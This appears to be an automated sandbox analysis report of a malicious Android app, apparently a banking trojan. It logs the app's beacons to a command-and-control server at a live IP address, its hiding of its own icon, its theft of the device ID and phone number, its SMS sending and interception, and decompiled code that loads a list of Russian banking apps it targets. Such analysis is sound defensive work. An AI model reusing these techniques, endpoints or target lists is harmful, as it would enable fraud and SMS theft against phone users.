                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 67 61 74 65 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/gate.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      8192.168.1.9239066185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:44:16.030774117 MESZ60OUTPOST /1324273/report.php HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      Content-Length: 70
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Data Raw: 31 3d 25 37 42 25 32 32 72 65 70 6f 72 74 25 32 32 25 33 41 25 32 32 73 6d 73 25 32 32 25 32 43 25 32 32 69 64 25 32 32 25 33 41 25 32 32 34 35 30 37 38 35 33 36 35 30 35 39 38 35 37 31 30 33 25 32 32 25 37 44
                                      Data Ascii: 1=%7B%22report%22%3A%22sms%22%2C%22id%22%3A%22450785365059857103%22%7D
                                      Jun 25, 2019 16:44:16.059480906 MESZ60INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:44:38 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 297
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 72 65 70 6f 72 74 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/report.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      APK Behavior

                                      Installation Messages
                                      NameIs Error
                                      • Unknown permission android.permission.USES_POLICY_FORCE_LOCK in package com.aviasalea
                                      • Not granting permission android.permission.BIND_ACCESSIBILITY_SERVICE to package com.aviasalea (protectionLevel=2 flags=0x3848be44)
                                      • Unknown permission android.permission.REAL_GET_TASKS in package com.aviasalea
                                      • Replacing preferred activity com.aviasalea/.checkui.ComposeSActivity for user 0:
                                      • Action: "android.intent.action.SENDTO"
                                      • Category: "android.intent.category.DEFAULT"
                                      • Scheme: "sms"
                                      • AutoVerify=false
                                      • Replacing preferred activity com.aviasalea/.checkui.ComposeSActivity for user 0:
                                      • Action: "android.intent.action.SENDTO"
                                      • Category: "android.intent.category.DEFAULT"
                                      • Scheme: "smsto"
                                      • AutoVerify=false
                                      • Replacing preferred activity com.aviasalea/.checkui.ComposeSActivity for user 0:
                                      • Action: "android.intent.action.SENDTO"
                                      • Category: "android.intent.category.DEFAULT"
                                      • Scheme: "mms"
                                      • AutoVerify=false
                                      • Replacing preferred activity com.aviasalea/.checkui.ComposeSActivity for user 0:
                                      • Action: "android.intent.action.SENDTO"
                                      • Category: "android.intent.category.DEFAULT"
                                      • Scheme: "mmsto"
                                      • AutoVerify=false
                                      false
                                      Started Services

                                      Simulated Events

                                      TypeData
                                      boot completed
                                      • -
                                      time tick
                                      • -
                                      incoming sms
                                      • 0123456789
                                      • this is a text message
                                      outgoing sms
                                      • 9876543210
                                      • thank you
                                      location change
                                      • 54.13
                                      • 12.14
                                      motion simulation
                                      • -
                                      incoming call
                                      • 0123456789
                                      outgoing call
                                      • 9876543210
                                      time tick
                                      • -
                                      External Library Dependencies
                                      API: android.net.ConnectivityManager->getActiveNetworkInfo at com.aviasalea.checktls.CmndTls.isInternetConnected:9 Show source
                                      NameTypeValue
                                      Return Valueandroid.net.NetworkInfo
                                      • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
                                      API: java.net.URL->openConnection at com.aviasalea.api.request.HTTPConnection.<init>:10 Show source
                                      NameTypeValue
                                      Return Valuecom.android.okhttp.internal.huc.HttpURLConnectionImpl
                                      • toString: com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                      API: java.lang.Runtime->exec at com.aviasalea.ping.PingNative.ping:61 Show source
                                      NameTypeValue
                                      p0java.lang.String
                                      • toString: ping -c 1 -w 1 172.217.16.174
                                      NameTypeValue
                                      Return Valuejava.lang.UNIXProcess
                                      • toString: Process[pid=6275, hasExited=false]
                                      API: android.telephony.TelephonyManager->getDeviceId at com.aviasalea.checktls.CmndTls.getPhoneIMEINumber:31 Show source
                                      NameTypeValue
                                      Return Valuejava.lang.String
                                      • toString: 450785365059857
                                      API: android.net.wifi.WifiManager->isWifiEnabled at com.aviasalea.checktls.WFTls.onWifi:56 Show source
                                      API: android.content.pm.PackageManager->setComponentEnabledSetting at com.aviasalea.srs.CmndSrs.hideApp:30 Show source
                                      API: android.content.pm.PackageManager->setComponentEnabledSetting at com.aviasalea.MainActivity.hideApp:30 Show source
                                      API: android.net.wifi.WifiManager->setWifiEnabled at com.aviasalea.checktls.WFTls.onWifi:61 Show source
                                      API: android.app.ActivityManager->getRunningTasks at com.aviasalea.checktls.PkgTls.getActivityBeforeLolipop:9 Show source
                                      API: android.webkit.WebView-><init> at com.aviasalea.wb.WbActivity.getWebView:4 Show source
                                      API: android.telephony.TelephonyManager->getLine1Number at com.aviasalea.checktls.CmndTls.getPhoneNumber:26 Show source
                                      API: android.telephony.SmsManager->sendTextMessage at com.aviasalea.checktls.CmndTls.sendSMS:48 Show source
                                      API: android.telephony.SmsManager->sendTextMessage at com.aviasalea.checktls.MsTls.sendFullSMS:296 Show source
                                      API: android.app.NotificationManager->notify at com.aviasalea.not.NotController.initNot:110 Show source

                                      32 Executed Methods

                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.Runtime.getRuntime
                                      • java.net.InetAddress.getHostAddress
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.Runtime.exec
                                      • java.lang.Process.waitFor
                                      • java.lang.Process.exitValue
                                      • java.lang.Process.getInputStream
                                      • java.io.InputStreamReader.<init>
                                      • java.io.BufferedReader.<init>
                                      • java.io.BufferedReader.readLine
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.w
                                      • java.net.InetAddress.getHostName
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • 172.217.16.174
                                      • ping
                                      • ping6
                                      • -c 1 -w
                                      • ping -c 1 -w 1 172.217.16.174
                                      • --- 172.217.16.174 ping statistics ---
                                      • 1 packets transmitted, 1 received, 0% packet loss, time 0ms
                                      • 1 packets transmitted, 1 received, 0% packet loss, time 3ms
                                      • 1 packets transmitted, 1 received, 0% packet loss, time 4ms
                                      • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=19.3 ms
                                      • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=20.1 ms
                                      • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=20.2 ms
                                      • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=20.4 ms
                                      • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=24.1 ms
                                      • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=24.5 ms
                                      • PING 172.217.16.174 (172.217.16.174) 56(84) bytes of data.
                                      • rtt min/avg/max/mdev = 19.395/19.395/19.395/0.000 ms
                                      • rtt min/avg/max/mdev = 20.189/20.189/20.189/0.000 ms
                                      • rtt min/avg/max/mdev = 20.264/20.264/20.264/0.000 ms
                                      • rtt min/avg/max/mdev = 20.473/20.473/20.473/0.000 ms
                                      • rtt min/avg/max/mdev = 24.108/24.108/24.108/0.000 ms
                                      • rtt min/avg/max/mdev = 24.561/24.561/24.561/0.000 ms
                                      • \n
                                      • AndroidNetworkTools
                                      • Could not identify
                                      • as ipv4 or ipv6, assuming ipv4
                                      • failed, exit = 1
                                      • error, exit = 2
                                      Position Instruction Meta Information
                                      0.param p0, "host" # Ljava/net/InetAddress;
                                      1.param p1, "timeOutMillis" # I
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/io/IOException;,
                                      5Ljava/lang/InterruptedException;
                                      6}
                                      7.end annotation
                                      8.prologue
                                      9new-instance v8, Lcom/aviasalea/ping/PingResult;
                                      10move-object/from16 v0, p0
                                      12invoke-direct {v8, v0}, Lcom/aviasalea/ping/PingResult;-><init>(Ljava/net/InetAddress;)V
                                      13new-instance v3, Ljava/lang/StringBuilder;
                                      15invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      17invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                      18move-result-object v11
                                      19move/from16 v0, p1
                                      20div-int/lit16 v12, v0, 0x3e8
                                      21if-gez v12, :cond_17
                                      22const/4 v12, 0x1
                                      23cond_17:
                                      24invoke-virtual/range {p0 .. p0}, Ljava/net/InetAddress;->getHostAddress()Ljava/lang/String;
                                      • Time: 1297469
                                        • This:
                                          • google.com/172.217.16.174
                                        • Return:
                                          • 172.217.16.174
                                      25move-result-object v1
                                      27const-string v6, "ping"
                                      28if-eqz v1, :cond_98
                                      30invoke-static {v1}, Lcom/aviasalea/ping/IPTools;->isIPv6Address(Ljava/lang/String;)Z
                                      31move-result v13
                                      32if-eqz v13, :cond_73
                                      34const-string v6, "ping6"
                                      35cond_27: new-instance v13, Ljava/lang/StringBuilder;
                                      37invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
                                      39invoke-virtual {v13, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      40move-result-object v13
                                      42const-string v14, " -c 1 -w "
                                      44invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      45move-result-object v13
                                      47invoke-virtual {v13, v12}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      48move-result-object v13
                                      50const-string v14, " "
                                      52invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      53move-result-object v13
                                      55invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      56move-result-object v13
                                      58invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      59move-result-object v13
                                      61invoke-virtual {v11, v13}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                      • Time: 1298657
                                        • This:
                                          • java.lang.Runtime@2f51f1b
                                        • p0: ping -c 1 -w 1 172.217.16.174
                                        • Return:
                                          • Process[pid=6275, hasExited=false]
                                      • Time: 1351073
                                        • This:
                                          • java.lang.Runtime@2f51f1b
                                        • p0: ping -c 1 -w 1 172.217.16.174
                                        • Return:
                                          • Process[pid=6951, hasExited=false]
                                      • Time: 1426225
                                        • This:
                                          • java.lang.Runtime@2f51f1b
                                        • p0: ping -c 1 -w 1 172.217.16.174
                                        • Return:
                                          • Process[pid=7907, hasExited=false]
                                      • Time: 1438038
                                        • This:
                                          • java.lang.Runtime@2f51f1b
                                        • p0: ping -c 1 -w 1 172.217.16.174
                                        • Return:
                                          • Process[pid=8040, hasExited=false]
                                      • Time: 1469740
                                        • This:
                                          • java.lang.Runtime@2f51f1b
                                        • p0: ping -c 1 -w 1 172.217.16.174
                                        • Return:
                                          • Process[pid=8457, hasExited=false]
                                      • Time: 1476368
                                        • This:
                                          • java.lang.Runtime@2f51f1b
                                        • p0: ping -c 1 -w 1 172.217.16.174
                                        • Return:
                                          • Process[pid=8550, hasExited=false]
                                      62move-result-object v9
                                      64invoke-virtual {v9}, Ljava/lang/Process;->waitFor()I
                                      66invoke-virtual {v9}, Ljava/lang/Process;->exitValue()I
                                      67move-result v4
                                      68if-nez v4, :cond_a6
                                      69new-instance v10, Ljava/io/InputStreamReader;
                                      71invoke-virtual {v9}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                      72move-result-object v13
                                      74invoke-direct {v10, v13}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                      75new-instance v2, Ljava/io/BufferedReader;
                                      77invoke-direct {v2, v10}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                      78goto_63:
                                      79invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                      • Time: 1298896
                                        • This:
                                          • java.io.BufferedReader@159f9f6
                                        • Return:
                                          • PING 172.217.16.174 (172.217.16.174) 56(84) bytes of data.
                                      • Time: 1298942
                                        • This:
                                          • java.io.BufferedReader@159f9f6
                                        • Return:
                                          • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=24.5 ms
                                      • Time: 1299014
                                        • This:
                                          • java.io.BufferedReader@159f9f6
                                        • Return:
                                          • --- 172.217.16.174 ping statistics ---
                                      • Time: 1299025
                                        • This:
                                          • java.io.BufferedReader@159f9f6
                                        • Return:
                                          • 1 packets transmitted, 1 received, 0% packet loss, time 0ms
                                      • Time: 1299039
                                        • This:
                                          • java.io.BufferedReader@159f9f6
                                        • Return:
                                          • rtt min/avg/max/mdev = 24.561/24.561/24.561/0.000 ms
                                      • Time: 1299049
                                        • This:
                                          • java.io.BufferedReader@159f9f6
                                        • Return:
                                          • null
                                      • Time: 1351578
                                        • This:
                                          • java.io.BufferedReader@43a3171
                                        • Return:
                                          • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=20.4 ms
                                      • Time: 1351615
                                        • This:
                                          • java.io.BufferedReader@43a3171
                                        • Return:
                                          • 1 packets transmitted, 1 received, 0% packet loss, time 4ms
                                      • Time: 1351619
                                        • This:
                                          • java.io.BufferedReader@43a3171
                                        • Return:
                                          • rtt min/avg/max/mdev = 20.473/20.473/20.473/0.000 ms
                                      • Time: 1426387
                                        • This:
                                          • java.io.BufferedReader@7ecdedb
                                        • Return:
                                          • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=19.3 ms
                                      • Time: 1426461
                                        • This:
                                          • java.io.BufferedReader@7ecdedb
                                        • Return:
                                          • rtt min/avg/max/mdev = 19.395/19.395/19.395/0.000 ms
                                      • Time: 1438155
                                        • This:
                                          • java.io.BufferedReader@8d630d9
                                        • Return:
                                          • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=24.1 ms
                                      • Time: 1438226
                                        • This:
                                          • java.io.BufferedReader@8d630d9
                                        • Return:
                                          • rtt min/avg/max/mdev = 24.108/24.108/24.108/0.000 ms
                                      • Time: 1469999
                                        • This:
                                          • java.io.BufferedReader@4bde4bd
                                        • Return:
                                          • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=20.1 ms
                                      • Time: 1470097
                                        • This:
                                          • java.io.BufferedReader@4bde4bd
                                        • Return:
                                          • rtt min/avg/max/mdev = 20.189/20.189/20.189/0.000 ms
                                      • Time: 1476573
                                        • This:
                                          • java.io.BufferedReader@a490461
                                        • Return:
                                          • 64 bytes from 172.217.16.174: icmp_seq=1 ttl=54 time=20.2 ms
                                      • Time: 1476601
                                        • This:
                                          • java.io.BufferedReader@a490461
                                        • Return:
                                          • 1 packets transmitted, 1 received, 0% packet loss, time 3ms
                                      • Time: 1476606
                                        • This:
                                          • java.io.BufferedReader@a490461
                                        • Return:
                                          • rtt min/avg/max/mdev = 20.264/20.264/20.264/0.000 ms
                                      80move-result-object v5
                                      81if-eqz v5, :cond_9d
                                      83invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      84move-result-object v13
                                      86const-string v14, "\n"
                                      88invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      89goto/16 :goto_63
                                      90cond_73:
                                      91invoke-static {v1}, Lcom/aviasalea/ping/IPTools;->isIPv4Address(Ljava/lang/String;)Z
                                      92move-result v13
                                      93if-nez v13, :cond_27
                                      95const-string v13, "AndroidNetworkTools"
                                      96new-instance v14, Ljava/lang/StringBuilder;
                                      98invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
                                      100const-string v15, "Could not identify "
                                      102invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      103move-result-object v14
                                      105invoke-virtual {v14, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      106move-result-object v14
                                      108const-string v15, " as ipv4 or ipv6, assuming ipv4"
                                      110invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      111move-result-object v14
                                      113invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      114move-result-object v14
                                      116invoke-static {v13, v14}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      117goto/16 :goto_27
                                      118cond_98:
                                      119invoke-virtual/range {p0 .. p0}, Ljava/net/InetAddress;->getHostName()Ljava/lang/String;
                                      120move-result-object v1
                                      121goto/16 :goto_27
                                      122cond_9d:
                                      123invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      124move-result-object v13
                                      126invoke-static {v8, v13}, Lcom/aviasalea/ping/PingNative;->getPingStats(Lcom/aviasalea/ping/PingResult;Ljava/lang/String;)Lcom/aviasalea/ping/PingResult;
                                      127move-result-object v8
                                      128goto_a5: return-object v8
                                      129cond_a6: const/4 v13, 0x1
                                      130if-ne v4, v13, :cond_ae
                                      132const-string v7, "failed, exit = 1"
                                      133goto_ab: iput-object v7, v8, Lcom/aviasalea/ping/PingResult;->error:Ljava/lang/String;
                                      134goto/16 :goto_a5
                                      135cond_ae:
                                      136const-string v7, "error, exit = 2"
                                      137goto/16 :goto_ab
                                      Cross References
                                      APIs
                                      • org.json.JSONArray.length
                                      • org.json.JSONArray.getJSONObject
                                      • org.json.JSONObject.getBoolean
                                      • org.json.JSONObject.getString
                                      • java.util.List.add
                                      Strings
                                      • check
                                      • com.idamob.tinkoff.android
                                      • com.idamobile.android.hcb
                                      • com.legionlabs.p2p.open
                                      • com.openbank
                                      • com.vtb.mobilebank
                                      • package
                                      • ru.alfabank.mobile.android
                                      • ru.alfabank.oavdo.amc
                                      • ru.homecredit.mycredit
                                      • ru.m4bank.rsb.alipay
                                      • ru.m4bank.rsb
                                      • ru.open.android.konsierge24
                                      • ru.rsb.prepaid
                                      • ru.simpls.brs2.mobbank
                                      • ru.tinkoff.sme
                                      • ru.vt24.mobilebanking.android
                                      Position Instruction Meta Information
                                      0.param p1, "apps" # Lorg/json/JSONArray;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7const/4 v1, 0x0
                                      8goto_1:
                                      9invoke-virtual {p1}, Lorg/json/JSONArray;->length()I
                                      10move-result v3
                                      11if-ge v1, v3, :cond_26
                                      13invoke-virtual {p1, v1}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                                      14move-result-object v2
                                      15if-eqz v2, :cond_23
                                      16new-instance v0, Lcom/aviasalea/wb/WITools$App;
                                      18const-string v3, "check"
                                      20invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                      21move-result v3
                                      23const-string v4, "package"
                                      25invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1289612
                                        • This:
                                          • {"check":true,"package":"ru.simpls.brs2.mobbank"}
                                        • p0: package
                                        • Return:
                                          • ru.simpls.brs2.mobbank
                                      • Time: 1289615
                                        • This:
                                          • {"check":true,"package":"ru.m4bank.rsb"}
                                        • p0: package
                                        • Return:
                                          • ru.m4bank.rsb
                                      • Time: 1289617
                                        • This:
                                          • {"check":true,"package":"ru.m4bank.rsb.alipay"}
                                        • p0: package
                                        • Return:
                                          • ru.m4bank.rsb.alipay
                                      • Time: 1289620
                                        • This:
                                          • {"check":true,"package":"ru.rsb.prepaid"}
                                        • p0: package
                                        • Return:
                                          • ru.rsb.prepaid
                                      • Time: 1289631
                                        • This:
                                          • {"check":true,"package":"com.openbank"}
                                        • p0: package
                                        • Return:
                                          • com.openbank
                                      • Time: 1289635
                                        • This:
                                          • {"check":true,"package":"ru.open.android.konsierge24"}
                                        • p0: package
                                        • Return:
                                          • ru.open.android.konsierge24
                                      • Time: 1289639
                                        • This:
                                          • {"check":true,"package":"com.legionlabs.p2p.open"}
                                        • p0: package
                                        • Return:
                                          • com.legionlabs.p2p.open
                                      • Time: 1289650
                                        • This:
                                          • {"check":true,"package":"ru.alfabank.mobile.android"}
                                        • p0: package
                                        • Return:
                                          • ru.alfabank.mobile.android
                                      • Time: 1289653
                                        • This:
                                          • {"check":true,"package":"ru.alfabank.oavdo.amc"}
                                        • p0: package
                                        • Return:
                                          • ru.alfabank.oavdo.amc
                                      • Time: 1289665
                                        • This:
                                          • {"check":true,"package":"com.idamob.tinkoff.android"}
                                        • p0: package
                                        • Return:
                                          • com.idamob.tinkoff.android
                                      • Time: 1289667
                                        • This:
                                          • {"check":true,"package":"ru.tinkoff.sme"}
                                        • p0: package
                                        • Return:
                                          • ru.tinkoff.sme
                                      • Time: 1289680
                                        • This:
                                          • {"check":true,"package":"ru.vt24.mobilebanking.android"}
                                        • p0: package
                                        • Return:
                                          • ru.vt24.mobilebanking.android
                                      • Time: 1289684
                                        • This:
                                          • {"check":true,"package":"com.vtb.mobilebank"}
                                        • p0: package
                                        • Return:
                                          • com.vtb.mobilebank
                                      • Time: 1289880
                                        • This:
                                          • {"check":true,"package":"ru.homecredit.mycredit"}
                                        • p0: package
                                        • Return:
                                          • ru.homecredit.mycredit
                                      • Time: 1289884
                                        • This:
                                          • {"check":true,"package":"com.idamobile.android.hcb"}
                                        • p0: package
                                        • Return:
                                          • com.idamobile.android.hcb
                                      26move-result-object v4
                                      28invoke-direct {v0, v3, v4}, Lcom/aviasalea/wb/WITools$App;-><init>(ZLjava/lang/String;)V
                                      30iget-object v3, p0, Lcom/aviasalea/wb/WITools$Inj;->apps:Ljava/util/List;
                                      32invoke-interface {v3, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      33cond_23: add-int/lit8 v1, v1, 0x1
                                      34goto/16 :goto_1
                                      35cond_26: return-void
                                      APIs
                                      • android.content.Intent.getExtras
                                      • android.content.Intent.getAction
                                      • java.lang.String.equals
                                      • com.aviasalea.mess.service.receiver.SmsReceiver.smsReceived
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • android.provider.Telephony.SMS_RECEIVED
                                      • Exception smsReceiver
                                      • Exception smsReceiverjava.lang.IllegalStateException: Call while result is not pending
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "intent" # Landroid/content/Intent;
                                      2.prologue
                                      4invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                                      • Time: 1436514
                                        • This:
                                          • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
                                        • Return:
                                          • Bundle[{format=3gpp, pdus=[Ljava.lang.Object;@d662489}]
                                      5move-result-object v1
                                      6if-eqz v1, :cond_17
                                      7try_start_6:
                                      8invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                      • Time: 1436525
                                        • This:
                                          • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
                                        • Return:
                                          • android.provider.Telephony.SMS_RECEIVED
                                      9move-result-object v0
                                      10if-eqz v0, :cond_17
                                      12const-string v3, "android.provider.Telephony.SMS_RECEIVED"
                                      14invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      15move-result v3
                                      16if-eqz v3, :cond_17
                                      18invoke-direct {p0, p1, v1}, Lcom/aviasalea/mess/service/receiver/SmsReceiver;->smsReceived(Landroid/content/Context;Landroid/os/Bundle;)V
                                      19try_end_17: return-void
                                      20catch_18: move-exception v2
                                      21new-instance v3, Ljava/lang/StringBuilder;
                                      23invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      25const-string v4, "Exception smsReceiver"
                                      27invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      28move-result-object v3
                                      30invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      31move-result-object v3
                                      33invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      34move-result-object v3
                                      36invoke-static {v3}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      • Time: 1436567
                                        • p0: Exception smsReceiverjava.lang.IllegalStateException: Call while result is not pending
                                      37goto/16 :goto_17
                                      Cross References
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.telephony.TelephonyManager.getImei
                                      • java.lang.String.length
                                      • android.content.Context.getContentResolver
                                      • android.provider.Settings$Secure.getString
                                      • android.telephony.TelephonyManager.getDeviceId
                                      Strings
                                      • phone
                                      • android_id
                                      • 450785365059857
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2const/4 v0, 0x0
                                      4const-string v2, "phone"
                                      6invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      • Time: 1289907
                                        • This:
                                          • com.aviasalea.MainActivity@dedbe7c
                                        • p0: phone
                                        • Return:
                                          • android.telephony.TelephonyManager@16dcf5a
                                      7move-result-object v1
                                      8check-cast v1, Landroid/telephony/TelephonyManager;
                                      9if-eqz v1, :cond_15
                                      10sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      11const/16 v3, 0x1a
                                      12if-lt v2, v3, :cond_28
                                      14invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getImei()Ljava/lang/String;
                                      15move-result-object v0
                                      16cond_15: if-eqz v0, :cond_1d
                                      18invoke-virtual {v0}, Ljava/lang/String;->length()I
                                      19move-result v2
                                      20if-nez v2, :cond_27
                                      21cond_1d:
